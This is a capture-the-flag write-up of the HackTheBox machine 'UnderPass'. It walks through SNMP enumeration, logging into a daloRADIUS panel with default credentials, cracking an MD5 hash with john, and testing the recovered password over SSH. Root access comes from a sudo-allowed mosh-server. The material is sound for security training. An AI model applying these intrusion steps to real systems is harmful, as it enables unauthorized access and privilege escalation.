UnderPass – HackTheBox Link to heading

  • OS: Linux
  • Difficulty: Easy
  • Platform: HackTheBox

Avatar underpass


Summary Link to heading

“UnderPass” is an easy box from HackTheBox platform. The victim machine is running Simple Network Management Protocol using UDP protocol. This service has a public comminuty string exposed, which leaks a directory showing that this server is running Daloradius software. This service uses default credencials for its login panel, which allow us to gain acces to it. This panel leaks a hash, which we are able to crack and obtain a password for a user throug SSH. Once inside the victim machine, we are able to run mosh with sudo. This allow us to connect to the victim localhost as root user, compromising the system.


User Link to heading

Starting with a quick and silent scan with Nmap looking for open TCP ports:

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv

We only see 2 ports open: 22 SSH and 80 HTTP.

Applying some recognition scans over these ports with -sVC flag we get:

❯ sudo nmap -sVC -p22,80 10.10.11.48

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-25 02:21 -03
Nmap scan report for 10.10.11.48
Host is up (0.29s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 48:b0:d2:c7:29:26:ae:3d:fb:b7:6b:0f:f5:4d:2a:ea (ECDSA)
|_  256 cb:61:64:b8:1b:1b:b5:ba:b8:45:86:c5:16:bb:e2:a2 (ED25519)
80/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 21.46 seconds

Applying WhatWeb against the site just shows that the page is using the default page for Apache:

❯ whatweb -a 3 http://10.10.11.48

http://10.10.11.48 [200 OK] Apache[2.4.52], Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][Apache/2.4.52 (Ubuntu)], IP[10.10.11.48], Title[Apache2 Ubuntu Default Page: It works]

Visiting http://10.10.11.48 just confirms what the previous scan revealed:

UnderPass 1

We start looking for directories through a Brute Force Directory Listing with Gobuster:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://10.10.11.48 -x php,txt,html -t 55 --no-error

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.48
[+] Method:                  GET
[+] Threads:                 55
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,txt,html
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 276]
/index.html           (Status: 200) [Size: 10671]
/.php                 (Status: 403) [Size: 276]
/.php                 (Status: 403) [Size: 276]
/.html                (Status: 403) [Size: 276]
===============================================================
Finished
===============================================================

But did not find anything.

At this point is is worth giving a try to potential UDP ports open in the victim machine. We apply another scan with Nmap against UDP ports:

❯ nmap -sU --top-ports=1000 10.10.11.48 -vvv --open --stats-every=10s

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-25 02:36 -03
Nmap wishes you a merry Christmas! Specify -sX for Xmas Scan (https://nmap.org/book/man-port-scanning-techniques.html).
Initiating Ping Scan at 02:36
Scanning 10.10.11.48 [4 ports]
<SNIP>
Scanned at 2024-12-25 02:36:16 -03 for 1014s
Not shown: 997 closed udp ports (port-unreach)
PORT     STATE         SERVICE REASON
161/udp  open          snmp    udp-response ttl 63

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1014.05 seconds
           Raw packets sent: 1402 (66.140KB) | Rcvd: 1069 (89.083KB)
Note
We could also add -T5 for an scan at insane speed, but I prefer more calmed scans.

We get port 161 port open for Simple Network Management Protocol (SNMP) service.

Applying some recognition scans for this new port we get:

❯ sudo nmap -sVCU -p161 10.10.11.48 -oN targeted_UDP

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-25 02:57 -03
Nmap scan report for 10.10.11.48
Host is up (0.25s latency).

PORT    STATE SERVICE VERSION
161/udp open  snmp    SNMPv1 server; net-snmp SNMPv3 server (public)
| snmp-info:
|   enterprise: net-snmp
|   engineIDFormat: unknown
|   engineIDData: c7ad5c4856d1cf6600000000
|   snmpEngineBoots: 29
|_  snmpEngineTime: 3h37m40s
| snmp-sysdescr: Linux underpass 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64
|_  System uptime: 3h37m40.59s (1306059 timeticks)
Service Info: Host: UnDerPass.htb is the only daloradius server in the basin!

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.29 seconds

We have a community string called public.

Let’s use snmpbulkwalk to extract info from this community string:

❯ snmpbulkwalk -Cr1000 -c public -v2c 10.10.11.48 > snmpbulk-output.txt

and read it with cat:

❯ cat snmpbulk-output.txt

iso.3.6.1.2.1.1.1.0 = STRING: "Linux underpass 5.15.0-126-generic #136-Ubuntu SMP Wed Nov 6 10:38:22 UTC 2024 x86_64"
iso.3.6.1.2.1.1.2.0 = OID: iso.3.6.1.4.1.8072.3.2.10
iso.3.6.1.2.1.1.3.0 = Timeticks: (1328337) 3:41:23.37
iso.3.6.1.2.1.1.4.0 = STRING: "steve@underpass.htb"
iso.3.6.1.2.1.1.5.0 = STRING: "UnDerPass.htb is the only daloradius server in the basin!"
iso.3.6.1.2.1.1.6.0 = STRING: "Nevada, U.S.A. but not Vegas"
iso.3.6.1.2.1.1.7.0 = INTEGER: 72
<SNIP>

We have a user steve@underpass.htb. The message also talks about a daloRADIUS server:

Info
Daloradius is a web interface for managing RADIUS servers. RADIUS (Remote Authentication Dial-In User Service) is a protocol for authentication, authorization and user accounting, especially widely used in Wi-Fi and VPN networks.

Finally, the message also talks about a domain underpass.htb, so let’s add this domain to our /etc/hosts just in case we need it into the future:

❯ echo '10.10.11.48 underpass.htb' | sudo tee -a /etc/hosts

Based on Github repository for daloRADIUS for its Dockerfile, there should be a /daloradius directory at the webserver. We can check if this directory exists with cURL:

❯ curl -s -I http://underpass.htb/daloradius/

HTTP/1.1 403 Forbidden
Date: Wed, 25 Dec 2024 06:09:20 GMT
Server: Apache/2.4.52 (Ubuntu)
Content-Type: text/html; charset=iso-8859-1

We got code 403 Forbidden, that is different of 404 Not Found. Therefore, the directory exists, but we just do not have permissions to directly view its content.

Let’s try a new Brute Force Directory Listing with Gobuster, searching for files within this new /daloradius directory:

❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://underpass.htb/daloradius/ -x php -t 40 --no-error

===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://underpass.htb/daloradius/
[+] Method:                  GET
[+] Threads:                 40
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,yml
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 278]
/library              (Status: 301) [Size: 327] [--> http://underpass.htb/daloradius/library/]
/doc                  (Status: 301) [Size: 323] [--> http://underpass.htb/daloradius/doc/]
/app                  (Status: 301) [Size: 323] [--> http://underpass.htb/daloradius/app/]
/contrib              (Status: 301) [Size: 327] [--> http://underpass.htb/daloradius/contrib/]
/ChangeLog            (Status: 200) [Size: 24703]
/setup                (Status: 301) [Size: 325] [--> http://underpass.htb/daloradius/setup/]
/LICENSE              (Status: 200) [Size: 18011]
<SNIP>

We can see a LICENCE and ChangeLog files.

Reading them with cURL we get:

❯ curl -s http://underpass.htb/daloradius/ChangeLog

release 1.? - WIP
        - Ternary expression fix in graph library
        - Report fixes
        - Fix support for multiple db locations
<SNIP>

❯ curl -s http://underpass.htb/daloradius/LICENSE

                    GNU GENERAL PUBLIC LICENSE
                       Version 2, June 1991

 Copyright (C) 1989, 1991 Free Software Foundation, Inc.
                       51 Franklin St, Fifth Floor, Boston, MA  02110-1301  USA
 Everyone is permitted to copy and distribute verbatim copies
 of this license document, but changing it is not allowed.

                            Preamble
<SNIP>

We note that these files are similar to those at daloRADIUS Github repository. Actually, checking for differences between these files using diff command:

❯ diff <(curl -s http://underpass.htb/daloradius/LICENSE) <(curl -s https://raw.githubusercontent.com/lirantal/daloradius/refs/heads/master/LICENSE)

❯ diff <(curl -s http://underpass.htb/daloradius/ChangeLog) <(curl -s https://raw.githubusercontent.com/lirantal/daloradius/refs/heads/master/ChangeLog)

We don’t have output. That means these files are exactly the same. We have also obtained, through the previous scan with Gobuster, similar files with those found at the Github repository.

Therefore, we can assume that files .htpasswd, Dockerfile and/or docker-compose.yml files exist with cURL again:

❯ curl -s -I http://underpass.htb/daloradius/.htpasswd

HTTP/1.1 403 Forbidden
Date: Wed, 25 Dec 2024 06:26:10 GMT
Server: Apache/2.4.52 (Ubuntu)
Content-Type: text/html; charset=iso-8859-1

❯ curl -s -I http://underpass.htb/daloradius/Dockerfile

HTTP/1.1 200 OK
Date: Wed, 25 Dec 2024 06:26:17 GMT
Server: Apache/2.4.52 (Ubuntu)
Last-Modified: Mon, 12 Aug 2024 11:36:54 GMT
ETag: "886-61f7ae8e42180"
Accept-Ranges: bytes
Content-Length: 2182

❯ curl -s -I http://underpass.htb/daloradius/docker-compose.yml

HTTP/1.1 200 OK
Date: Wed, 25 Dec 2024 06:26:27 GMT
Server: Apache/2.4.52 (Ubuntu)
Last-Modified: Mon, 12 Aug 2024 11:36:54 GMT
ETag: "601-61f7ae8e42180"
Accept-Ranges: bytes
Content-Length: 1537

We can read Dockerfile and docker-compose.yml files.

docker.compose.yml shows some interesting info:

❯ curl -s http://underpass.htb/daloradius/docker-compose.yml

version: "3"

services:

  radius-mysql:
    image: mariadb:10
    container_name: radius-mysql
    restart: unless-stopped
    environment:
      - MYSQL_DATABASE=radius
      - MYSQL_USER=radius
      - MYSQL_PASSWORD=radiusdbpw
      - MYSQL_ROOT_PASSWORD=radiusrootdbpw
    volumes:
      - "./data/mysql:/var/lib/mysql"

  radius:
    container_name: radius
    build:
      context: .
      dockerfile: Dockerfile-freeradius
    restart: unless-stopped
    depends_on:
      - radius-mysql
    ports:
      - '1812:1812/udp'
      - '1813:1813/udp'
    environment:
      - MYSQL_HOST=radius-mysql
      - MYSQL_PORT=3306
      - MYSQL_DATABASE=radius
      - MYSQL_USER=radius
      - MYSQL_PASSWORD=radiusdbpw
      # Optional settings
      - DEFAULT_CLIENT_SECRET=testing123
    volumes:
      - ./data/freeradius:/data
    # If you want to disable debug output, remove the command parameter
    command: -X

  radius-web:
    build: .
    container_name: radius-web
    restart: unless-stopped
    depends_on:
      - radius
      - radius-mysql
    ports:
      - '80:80'
      - '8000:8000'
    environment:
      - MYSQL_HOST=radius-mysql
      - MYSQL_PORT=3306
      - MYSQL_DATABASE=radius
      - MYSQL_USER=radius
      - MYSQL_PASSWORD=radiusdbpw
      # Optional Settings:
      - DEFAULT_CLIENT_SECRET=testing123
      - DEFAULT_FREERADIUS_SERVER=radius
      - MAIL_SMTPADDR=127.0.0.1
      - MAIL_PORT=25
      - MAIL_FROM=root@daloradius.xdsl.by
      - MAIL_AUTH=

    volumes:
      - ./data/daloradius:/data

We have a password for a MySQL database: radiusdbpw and a user radius.

Looking back at the Github repository (since bruteforcing directories is pointless now we have found the repository), there should be a page at /daloradius/app/users/login.php. Visiting then http://underpass.htb/daloradius/users/login.php shows a login panel:

UnderPass 2

We attempt with credentials radius:radiusdbpw and steve:radiusdbpw, but does not work.

If we search for daloradius default credentials we get this post, where they provide the credentials: administrator:radius. But they don’t work either.

Searching for more login panels at the Github repository we find that /operators directory also has a /login.php page as can be seen here. Visiting then http://underpass.htb/daloradius/app/operators/login.php shows another login panel really similar to the previous one:

UnderPass 3

Using default credentials administrator:radius in this panel works. We are in:

UnderPass 4

At the bottom left side (and also from the previous login panel) we can see a version: 2.2.

Searching for exploits for daloRADIUS with this version does not return anything interesting. Therefore, we must explore the page. Clicking on Go to users list shows:

UnderPass 5

We have a hash: 412DD4759978ACFCC81DEAB01B382403 for a user called svcMosh.

Copy this hash and use hash-identifier to check the hash type:

❯ hash-identifier

<SNIP>
--------------------------------------------------
 HASH: 412DD4759978ACFCC81DEAB01B382403

Possible Hashs:
[+] MD5
[+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username)))
<SNIP>

It is a MD5 hash.

Let’s attempt to crack it through a Brute Force Password Cracking using JohnTheRipper (john) along with rockyou.txt dictionary:

❯ echo -n '412DD4759978ACFCC81DEAB01B382403' > hash_found

❯ john --wordlist=/usr/share/wordlists/rockyou.txt hash_found --format=Raw-MD5

Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=5
Press 'q' or Ctrl-C to abort, almost any other key for status
underwaterfriends (?)
1g 0:00:00:00 DONE (2024-12-25 03:53) 2.173g/s 6487Kp/s 6487Kc/s 6487KC/s undiamecaiQ..underpants2
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

We got a password: underwaterfriends.

We can then use NetExec to check if this password works for any of the users we have previously found with SSH:

❯ nxc ssh 10.10.11.48 -u steven -p 'underwaterfriends'

SSH         10.10.11.48     22     10.10.11.48      [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH         10.10.11.48     22     10.10.11.48      [-] steven:underwaterfriends

❯ nxc ssh 10.10.11.48 -u radius -p 'underwaterfriends'

SSH         10.10.11.48     22     10.10.11.48      [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH         10.10.11.48     22     10.10.11.48      [-] radius:underwaterfriends

❯ nxc ssh 10.10.11.48 -u svcMosh -p 'underwaterfriends'

SSH         10.10.11.48     22     10.10.11.48      [*] SSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10
SSH         10.10.11.48     22     10.10.11.48      [+] svcMosh:underwaterfriends  Linux - Shell access!

We got valid credentials for SSH: svcMosh:underwaterfriends.

Finally, log into the victim machine as this user:

❯ sshpass -p 'underwaterfriends' ssh -o stricthostkeychecking=no svcMosh@10.10.11.48

<SNIP>
Last login: Thu Dec 12 15:45:42 2024 from 10.10.14.65

svcMosh@underpass:~$

We can get the user flag.


Root Link to heading

Checking what can this user run with sudo we get:

svcMosh@underpass:~$ sudo -l

Matching Defaults entries for svcMosh on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User svcMosh may run the following commands on localhost:
    (ALL) NOPASSWD: /usr/bin/mosh-server

If we run it we get:

svcMosh@underpass:~$ sudo /usr/bin/mosh-server


MOSH CONNECT 60001 Jf4IdDNlefPouxvjWwkevg

mosh-server (mosh 1.3.2) [build mosh 1.3.2]
Copyright 2012 Keith Winstein <mosh-devel@mit.edu>
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>.
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

[mosh-server detached, pid = 2592]

We can execute Mosh:

Info
Mosh is a remote terminal application that supports intermittent connectivity, allows roaming, and provides speculative local echo and line editing of user keystrokes.

If we check what can we do with mosh-server binary we get:

svcMosh@underpass:~$ sudo /usr/bin/mosh-server -h

Usage: /usr/bin/mosh-server new [-s] [-v] [-i LOCALADDR] [-p PORT[:PORT2` [-c COLORS] [-l NAME=VALUE] [-- COMMAND...]

But attempting to inject commands like:

svcMosh@underpass:~$ sudo mosh-server new -- /bin/bash -c "ping -c1 10.10.16.5"

did not work.

Checking what we can do with Mosh in the victim machine we get:

svcMosh@underpass:~$ mosh

Usage: /usr/bin/mosh [options] [--] [user@]host [command...]
        --client=PATH        mosh client on local machine
                                (default: "mosh-client")
        --server=COMMAND     mosh server on remote machine
                                (default: "mosh-server")

        --predict=adaptive      local echo for slower links [default]
-a      --predict=always        use local echo even on fast links
-n      --predict=never         never use local echo
        --predict=experimental  aggressively echo even when incorrect

-4      --family=inet        use IPv4 only
-6      --family=inet6       use IPv6 only
        --family=auto        autodetect network type for single-family hosts only
        --family=all         try all network types
        --family=prefer-inet use all network types, but try IPv4 first [default]
        --family=prefer-inet6 use all network types, but try IPv6 first
-p PORT[:PORT2]
        --port=PORT[:PORT2]  server-side UDP port or range
                                (No effect on server-side SSH port)
        --bind-server={ssh|any|IP}  ask the server to reply from an IP address
                                       (default: "ssh")

        --ssh=COMMAND        ssh command to run when setting up session
                                (example: "ssh -p 2222")
                                (default: "ssh")

        --no-ssh-pty         do not allocate a pseudo tty on ssh connection

        --no-init            do not send terminal initialization string

        --local              run mosh-server locally without using ssh

        --experimental-remote-ip=(local|remote|proxy)  select the method for
                             discovering the remote IP address to use for mosh
                             (default: "proxy")

        --help               this message
        --version            version and copyright information

Please report bugs to mosh-devel@mit.edu.
Mosh home page: https://mosh.org

The command --server is specially interesting since it allow us to execute a command.

Therefore, just try to execute a command with sudo inside Mosh (not mosh-server) and pass mosh-server within it, connecting to localhost:

svcMosh@underpass:~$ mosh --server="sudo /usr/bin/mosh-server" localhost

We get a connection as root in the victim machine:

root@underpass:~# whoami
root

root@underpass:~# hostname -I
10.10.11.48

GG. We can read the root flag at /root directory.

~Happy Hacking.